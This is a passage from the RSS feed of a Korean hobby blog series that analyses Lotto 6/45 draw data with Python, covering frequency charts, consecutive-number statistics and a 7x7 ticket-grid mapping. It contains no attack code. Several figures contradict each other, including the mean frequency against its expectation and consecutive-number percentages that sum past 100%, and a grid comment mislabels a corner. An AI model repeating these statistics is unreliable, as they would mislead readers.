        cbar_kws={'label': '출현'},
        yticklabels=range(1, 46),
        xticklabels=[f&quot;{i+1}&quot; for i in range(100)]
    )
    plt.xlabel('최근 회차 (100회)', fontsize=12)
    plt.ylabel('번호', fontsize=12)
    plt.title('번호 출현 히트맵 (최근 100회)', fontsize=14, fontweight='bold')
    plt.tight_layout()

    output_path = Path('output/charts/number_heatmap.png')
    plt.savefig(output_path, dpi=300, bbox_inches='tight')
    print(f&quot;✓ 차트 저장: {output_path}&quot;)
    plt.close()&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;히트맵 해석:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;빨간색: 출현&lt;/li&gt;
&lt;li&gt;노란색: 미출현&lt;/li&gt;
&lt;li&gt;세로로 보면: 특정 번호의 출현 패턴&lt;/li&gt;
&lt;li&gt;가로로 보면: 특정 회차의 번호 분포&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;5390&quot; data-origin-height=&quot;2974&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/peqn6/dJMcahJUpcu/eqoKOPCLsOV9ALiEBxznU1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/peqn6/dJMcahJUpcu/eqoKOPCLsOV9ALiEBxznU1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/peqn6/dJMcahJUpcu/eqoKOPCLsOV9ALiEBxznU1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fpeqn6%2FdJMcahJUpcu%2FeqoKOPCLsOV9ALiEBxznU1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;5390&quot; height=&quot;2974&quot; data-origin-width=&quot;5390&quot; data-origin-height=&quot;2974&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&lt;i&gt;▲ 최근 100회차 번호 출현 패턴 히트맵 (빨간색: 출현, 노란색: 미출현)&lt;/i&gt;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  배운 점과 인사이트&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;1. pandas 전처리 베스트 프랙티스&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;✅ 체이닝 사용:&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;processing&quot;&gt;&lt;code&gt;df['col'] = df['col'].astype(str).str.replace(',', '').astype(float)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;✅ 인코딩 자동 처리:&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;reasonml&quot;&gt;&lt;code&gt;try:
    df = pd.read_csv(path, encoding='utf-8-sig')
except UnicodeDecodeError:
    df = pd.read_csv(path, encoding='cp949')&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;✅ errors='coerce' 활용:&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;routeros&quot;&gt;&lt;code&gt;df['회차'] = pd.to_numeric(df['회차'], errors='coerce')
# 변환 실패 시 NaN으로 처리&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2. 시각화 팁&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;✅ 한글 폰트 설정은 필수:&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;routeros&quot;&gt;&lt;code&gt;plt.rc('font', family='AppleGothic')  # macOS
plt.rc('axes', unicode_minus=False)   # 마이너스 기호 깨짐 방지&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;✅ 차트 저장 시 DPI 설정:&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;routeros&quot;&gt;&lt;code&gt;plt.savefig(path, dpi=300, bbox_inches='tight')
# 고해상도 저장&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;✅ 색상으로 스토리 전달:&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;vala&quot;&gt;&lt;code&gt;# 최다 번호: 빨간색
# 최소 번호: 회색
# 평균선: 초록색&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;3. 클래스 설계 패턴&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;✅ 단일 책임 원칙:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;code&gt;LottoDataLoader&lt;/code&gt;: 데이터 로딩만&lt;/li&gt;
&lt;li&gt;&lt;code&gt;BasicStats&lt;/code&gt;: 통계 분석만&lt;/li&gt;
&lt;li&gt;&lt;code&gt;LottoVisualization&lt;/code&gt;: 시각화만&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;✅ 의존성 주입:&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;ruby&quot;&gt;&lt;code&gt;class BasicStats:
    def __init__(self, data_loader):
        self.loader = data_loader  # 의존성 주입&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;✅ 메서드 체이닝:&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;reasonml&quot;&gt;&lt;code&gt;loader = LottoDataLoader(data_path)
loader.load_data().preprocess().extract_numbers()&lt;/code&gt;&lt;/pre&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  첫 번째 마일스톤 달성&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2025년 12월 27일 하루 만에:&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;✅ &lt;b&gt;프로젝트 구조 설계 완료&lt;/b&gt;&lt;br /&gt;✅ &lt;b&gt;데이터 로더 구현 (인코딩 자동 처리)&lt;/b&gt;&lt;br /&gt;✅ &lt;b&gt;기본 통계 분석 완료 (빈도, 구간, 홀짝)&lt;/b&gt;&lt;br /&gt;✅ &lt;b&gt;시각화 시스템 구축 (6개 차트)&lt;/b&gt;&lt;br /&gt;✅ &lt;b&gt;605회차 데이터 분석 완료&lt;/b&gt;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;흥미로운 발견&lt;/h3&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;12번이 가장 많이 나왔다&lt;/b&gt; (97회, 16.09%)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;세 구간이 거의 균등하다&lt;/b&gt; (약 33%씩)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;홀수가 약간 더 많다&lt;/b&gt; (51.46% vs 48.54%)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;최대-최소 차이는 33회&lt;/b&gt; (5.5% 차이)&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;통계적 의미&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;605회 추첨에서 45개 번호가 균등하게 나온다면:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;기댓값: 605 &amp;times; 6 &amp;divide; 45 = &lt;b&gt;80.67회&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;실제 평균: &lt;b&gt;74.0회&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;표준편차: &lt;b&gt;약 8.5회&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;결론&lt;/b&gt;: 출현 빈도는 통계적으로 정규분포에 가깝다. 로또 추첨의 공정성을 보여준다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  다음 에피소드 예고&lt;/h2&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;2편: &quot;숫자가 말을 걸 때&quot;&lt;/b&gt; - 연속 번호와 그리드 패턴의 비밀&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음 편에서는:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;6-7이 왜 15번이나 나왔을까?&lt;/li&gt;
&lt;li&gt;7x7 그리드 복권 용지의 비밀&lt;/li&gt;
&lt;li&gt;연속 번호 심층 분석&lt;/li&gt;
&lt;li&gt;그리드 패턴 기반 새로운 관점&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;미리보기:&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;properties&quot;&gt;&lt;code&gt;# 연속 번호 찾기
def find_consecutive_groups(numbers):
    groups = []
    for i in range(len(numbers)-1):
        if numbers[i+1] - numbers[i] == 1:
            groups.append((numbers[i], numbers[i+1]))
    return groups

# 결과: 56%의 회차에서 연속 번호 출현!&lt;/code&gt;&lt;/pre&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  관련 링크&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;GitHub&lt;/b&gt;: &lt;a href=&quot;https://github.com/MyJYP/lotter645_1227&quot;&gt;lotter645_1227&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Streamlit App&lt;/b&gt;: &lt;a href=&quot;https://lo645251227.streamlit.app/&quot;&gt;로또 645 분석 웹 앱&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;다음 에피소드&lt;/b&gt;: &lt;a href=&quot;https://thepin.tistory.com/193&quot;&gt;2편 - 숫자가 말을 걸 때&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  마무리하며&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;첫 줄의 코드를 작성하는 순간, 프로젝트는 이미 시작되었다.&quot;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;605회의 데이터, 3,630개의 당첨번호. 이 숫자들이 내게 말을 걸기 시작했다. 단순한 숫자가 아니라, 패턴이 있고, 이야기가 있고, 의미가 있는 데이터.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;로또를 맞추려는 게 아니다. 데이터를 읽는 법을 배우는 것이다. 그리고 그 과정이 생각보다 훨씬 흥미롭다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음 편에서는 더 깊이 들어간다. 연속 번호의 비밀, 그리드 패턴의 발견. 숫자가 말을 거는 순간을 함께 경험해보자.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  SEO 태그&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;#포함 해시태그&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;#Python데이터분석 #로또645분석 #pandas전처리 #matplotlib시각화 #데이터분석프로젝트 #Python초보자 #데이터분석포트폴리오 #실전프로젝트 #통계분석 #데이터시각화&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;쉼표 구분 태그&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Python, 데이터분석, 로또645, pandas, matplotlib, seaborn, CSV파싱, 데이터전처리, 한글폰트설정, 시각화, 프로젝트시작, 개발일지&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;작성&lt;/b&gt;: @MyJYP&lt;br /&gt;&lt;b&gt;시리즈&lt;/b&gt;: 로또 645 데이터 분석 프로젝트 (1/10)&lt;br /&gt;&lt;b&gt;라이선스&lt;/b&gt;: CC BY-NC-SA 4.0&lt;/p&gt;</description>
      <category>VibeCoding/lo645251227</category>
      <category>CSV파싱</category>
      <category>matplotlib</category>
      <category>pandas</category>
      <category>Python</category>
      <category>Seaborn</category>
      <category>데이터분석</category>
      <category>데이터전처리</category>
      <category>로또645</category>
      <category>시각화</category>
      <category>한글폰트설정</category>
      <author>댕기사랑</author>
      <guid isPermaLink="true">https://thepin.tistory.com/194</guid>
      <comments>https://thepin.tistory.com/194#entry194comment</comments>
      <pubDate>Sun, 11 Jan 2026 12:28:55 +0900</pubDate>
    </item>
    <item>
      <title>Episode 2: 숫자가 말을 걸 때 (When Numbers Speak)</title>
      <link>https://thepin.tistory.com/193</link>
      <description>&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;이&amp;nbsp;글은&amp;nbsp;패스트캠퍼스&amp;nbsp;바이브코딩&amp;nbsp;강의를&amp;nbsp;수강하며,&amp;nbsp;별도의&amp;nbsp;주제로&amp;nbsp;진행한&amp;nbsp;데이터&amp;nbsp;분석&amp;nbsp;프로젝트&amp;nbsp;과정을&amp;nbsp;기록한&amp;nbsp;것입니다.&amp;nbsp;코딩과&amp;nbsp;글&amp;nbsp;작성에는&amp;nbsp;클로드코드와&amp;nbsp;커서AI&amp;nbsp;및&amp;nbsp;퍼플렛시티를&amp;nbsp;함께&amp;nbsp;활용했음을&amp;nbsp;미리&amp;nbsp;밝힙니다.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/blockquote&gt;
&lt;h1&gt;&lt;b&gt;Episode 2: 숫자가 말을 걸 때 (When Numbers Speak)&lt;/b&gt;&lt;/h1&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;연속 번호와 그리드 패턴의 비밀&lt;/b&gt;: 7x7 복권 용지로 보는 새로운 관점&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;6-7, 38-39... 연속 번호가 말을 걸기 시작했다. 그리고 복권 용지 위에서 숨겨진 패턴을 발견했다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://img.shields.io/badge/Python-3.8+-blue.svg&quot; alt=&quot;Python&quot; /&gt;&lt;img src=&quot;https://img.shields.io/badge/NumPy-1.24-orange.svg&quot; alt=&quot;NumPy&quot; /&gt;&lt;img src=&quot;https://img.shields.io/badge/PIL-9.0-green.svg&quot; alt=&quot;PIL&quot; /&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;작성일&lt;/b&gt;: 2026-01-10&amp;nbsp; &lt;b&gt;난이도&lt;/b&gt;: ⭐⭐⭐☆☆&amp;nbsp; &lt;b&gt;예상 소요 시간&lt;/b&gt;: 3-4시간. &lt;b&gt;버전&lt;/b&gt;: v2.0, v4.0&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1880&quot; data-origin-height=&quot;1188&quot;&gt;&lt;a href=&quot;https://lo645251227.streamlit.app/&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/uocHt/dJMcabQruxh/ADR8Tx97FjLvVaxRE3kTnK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FuocHt%2FdJMcabQruxh%2FADR8Tx97FjLvVaxRE3kTnK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1880&quot; height=&quot;1188&quot; data-origin-width=&quot;1880&quot; data-origin-height=&quot;1188&quot;/&gt;&lt;/a&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  들어가며&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기본 통계 분석을 마치고 결과를 보던 중, 이상한 걸 발견했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&quot;6-7이 15번이나 나왔다고?&quot;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;연속 번호가 유독 많이 나온다는 느낌. 단순한 우연일까, 아니면 패턴이 있는 걸까?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;더 흥미로운 건 그다음이었다. 로또 복권을 사러 갔을 때, 그 작은 용지를 보다가 깨달았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&quot;이거... 7x7 그리드잖아?&quot;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1부터 45까지 번호가 7개씩 7줄로 배치되어 있었다. 숫자가 아니라 &lt;b&gt;&quot;위치&quot;&lt;/b&gt;로 보면 어떨까? 복권 용지 왼쪽 위 모서리 번호들은 덜 나올까? 중앙 번호들은 더 많이 나올까?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;숫자가 말을 걸기 시작했다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  연속 번호의 비밀&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&quot;56%의 회차에서 연속 번호가 나온다&quot;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;첫 번째 발견은 충격적이었다.&lt;/p&gt;
&lt;pre class=&quot;python&quot;&gt;&lt;code&gt;def find_consecutive_groups(numbers):
    &quot;&quot;&quot;연속 번호 그룹 찾기&quot;&quot;&quot;
    numbers = sorted(numbers)
    groups = []

    i = 0
    while i &amp;lt; len(numbers) - 1:
        if numbers[i+1] - numbers[i] == 1:
            # 연속 시작
            group = [numbers[i], numbers[i+1]]
            j = i + 1

            # 연속이 계속되는지 확인
            while j &amp;lt; len(numbers) - 1 and numbers[j+1] - numbers[j] == 1:
                group.append(numbers[j+1])
                j += 1

            groups.append(group)
            i = j
        else:
            i += 1

    return groups&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;605회차 전체를 분석한 결과:&lt;/p&gt;
&lt;pre class=&quot;angelscript&quot;&gt;&lt;code&gt;  연속 번호 출현 통계
==================================================
연속 없음:    278회 (46.10%)
연속 2개:     339회 (56.22%) ⭐
연속 3개:      30회 ( 4.98%)
연속 4개:       3회 ( 0.50%)
연속 5개 이상:  0회 ( 0.00%)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;핵심 발견:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;절반 이상(53.9%)에서 연속 번호가 출현!&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;연속 2개가 가장 흔한 패턴&lt;/li&gt;
&lt;li&gt;연속 5개 이상은 단 한 번도 없음&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;최다 출현 연속 조합 TOP 10&lt;/h3&gt;
&lt;pre class=&quot;python&quot;&gt;&lt;code&gt;def analyze_consecutive_combinations(self):
    &quot;&quot;&quot;가장 많이 나온 연속 조합 분석&quot;&quot;&quot;
    consecutive_pairs = []

    for _, row in self.loader.numbers_df.iterrows():
        numbers = sorted(row['당첨번호'])

        # 연속 쌍 찾기
        for i in range(len(numbers) - 1):
            if numbers[i+1] - numbers[i] == 1:
                pair = (numbers[i], numbers[i+1])
                consecutive_pairs.append(pair)

    # 빈도 계산
    from collections import Counter
    counter = Counter(consecutive_pairs)

    return counter.most_common(10)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;결과:&lt;/b&gt;&lt;/p&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;순위&lt;/th&gt;
&lt;th&gt;연속 번호&lt;/th&gt;
&lt;th&gt;출현 횟수&lt;/th&gt;
&lt;th&gt;출현율&lt;/th&gt;
&lt;th&gt;구간&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt; &lt;/td&gt;
&lt;td&gt;&lt;b&gt;6-7&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;15회&lt;/td&gt;
&lt;td&gt;2.49%&lt;/td&gt;
&lt;td&gt;저구간(Low)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt; &lt;/td&gt;
&lt;td&gt;&lt;b&gt;38-39&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;14회&lt;/td&gt;
&lt;td&gt;2.32%&lt;/td&gt;
&lt;td&gt;고구간(High)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt; &lt;/td&gt;
&lt;td&gt;&lt;b&gt;17-18&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;14회&lt;/td&gt;
&lt;td&gt;2.32%&lt;/td&gt;
&lt;td&gt;중구간(Mid)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;3-4&lt;/td&gt;
&lt;td&gt;12회&lt;/td&gt;
&lt;td&gt;1.99%&lt;/td&gt;
&lt;td&gt;저구간(Low)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;14-15&lt;/td&gt;
&lt;td&gt;12회&lt;/td&gt;
&lt;td&gt;1.99%&lt;/td&gt;
&lt;td&gt;저구간(Low)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;37-38&lt;/td&gt;
&lt;td&gt;10회&lt;/td&gt;
&lt;td&gt;1.66%&lt;/td&gt;
&lt;td&gt;고구간(High)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;40-41&lt;/td&gt;
&lt;td&gt;10회&lt;/td&gt;
&lt;td&gt;1.66%&lt;/td&gt;
&lt;td&gt;고구간(High)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;18-19&lt;/td&gt;
&lt;td&gt;10회&lt;/td&gt;
&lt;td&gt;1.66%&lt;/td&gt;
&lt;td&gt;중구간(Mid)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;42-43&lt;/td&gt;
&lt;td&gt;10회&lt;/td&gt;
&lt;td&gt;1.66%&lt;/td&gt;
&lt;td&gt;고구간(High)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;10&lt;/td&gt;
&lt;td&gt;1-2, 5-6, 27-28&lt;/td&gt;
&lt;td&gt;9회&lt;/td&gt;
&lt;td&gt;1.49%&lt;/td&gt;
&lt;td&gt;-&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;인사이트:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;6-7이 압도적 1위&lt;/b&gt; (15회, 2.49%)&lt;/li&gt;
&lt;li&gt;세 구간 모두에서 골고루 출현&lt;/li&gt;
&lt;li&gt;경계 부근 번호(14-15, 42-43)도 빈출&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;연속 4개의 전설&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;605회 중 단 3회만 기록된 연속 4개:&lt;/p&gt;
&lt;pre class=&quot;angelscript&quot;&gt;&lt;code&gt;1️⃣ 655회 (2015.06.20): 37-38-39-40
2️⃣ 783회 (2017.12.02): 14-15-16-17
3️⃣ 1118회 (2024.05.04): 13-14-15-16&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;통계적 의미:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;확률: 0.50% (1/200)&lt;/li&gt;
&lt;li&gt;약 200회에 1번 꼴&lt;/li&gt;
&lt;li&gt;연속 5개 이상: 한 번도 없음&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  7x7 그리드의 발견&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&quot;숫자가 아니라 위치다&quot;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;어느 날 복권을 사러 갔을 때, 작은 용지를 보다가 깨달았다.&lt;/p&gt;
&lt;pre class=&quot;markdown&quot;&gt;&lt;code&gt;로또 복권 용지 구조 (7x7 그리드):

[ 1][ 2][ 3][ 4][ 5][ 6][ 7]
[ 8][ 9][10][11][12][13][14]
[15][16][17][18][19][20][21]
[22][23][24][25][26][27][28]
[29][30][31][32][33][34][35]
[36][37][38][39][40][41][42]
[43][44][45][  ][  ][  ][  ]&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;아이디어:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;숫자 &quot;12&quot;는 그냥 12가 아니라, &lt;b&gt;Row 1, Col 4&lt;/b&gt; 위치&lt;/li&gt;
&lt;li&gt;숫자 &quot;1&quot;은 &lt;b&gt;모서리&lt;/b&gt; 위치&lt;/li&gt;
&lt;li&gt;숫자 &quot;25&quot;는 &lt;b&gt;정중앙&lt;/b&gt; 위치&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;만약 사람들이 복권 용지에서 &lt;b&gt;중앙을 더 자주 선택&lt;/b&gt;한다면?&lt;br /&gt;만약 &lt;b&gt;모서리는 덜 선택&lt;/b&gt;한다면?&lt;br /&gt;이건 단순한 숫자 분석이 아니라 &lt;b&gt;공간 통계&lt;/b&gt; 문제다!&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;GridPatternAnalysis 클래스 설계&lt;/h3&gt;
&lt;pre class=&quot;python&quot;&gt;&lt;code&gt;class GridPatternAnalysis:
    &quot;&quot;&quot;복권 용지 그리드 패턴 분석 클래스&quot;&quot;&quot;

    def __init__(self, loader):
        self.loader = loader
        self.rows = 7
        self.cols = 7

        # 번호 &amp;rarr; 그리드 좌표 매핑
        self.number_to_position = {}
        number = 1
        for row in range(self.rows):
            for col in range(self.cols):
                if number &amp;lt;= 45:
                    self.number_to_position[number] = (row, col)
                    number += 1

        # 위치별 출현 빈도
        self.position_heatmap = np.zeros((7, 7))

    def get_position(self, number):
        &quot;&quot;&quot;번호의 그리드 좌표 반환 (row, col)&quot;&quot;&quot;
        row = (number - 1) // 7
        col = (number - 1) % 7
        return (row, col)

    def get_zone(self, row, col):
        &quot;&quot;&quot;그리드 위치의 구역 반환&quot;&quot;&quot;
        # 모서리 (4칸): 1, 7, 43, 45
        if (row, col) in [(0, 0), (0, 6), (6, 0), (6, 6)]:
            return &quot;corner&quot;

        # 가장자리 (20칸): 첫/마지막 행/열
        elif row == 0 or row == 6 or col == 0 or col == 6:
            return &quot;edge&quot;

        # 중앙부 (9칸): 17, 18, 19, 24, 25, 26, 31, 32, 33
        elif 2 &amp;lt;= row &amp;lt;= 4 and 2 &amp;lt;= col &amp;lt;= 4:
            return &quot;center&quot;

        # 중간 (12칸): 나머지
        else:
            return &quot;middle&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;그리드 구역 분류:&lt;/b&gt;&lt;/p&gt;
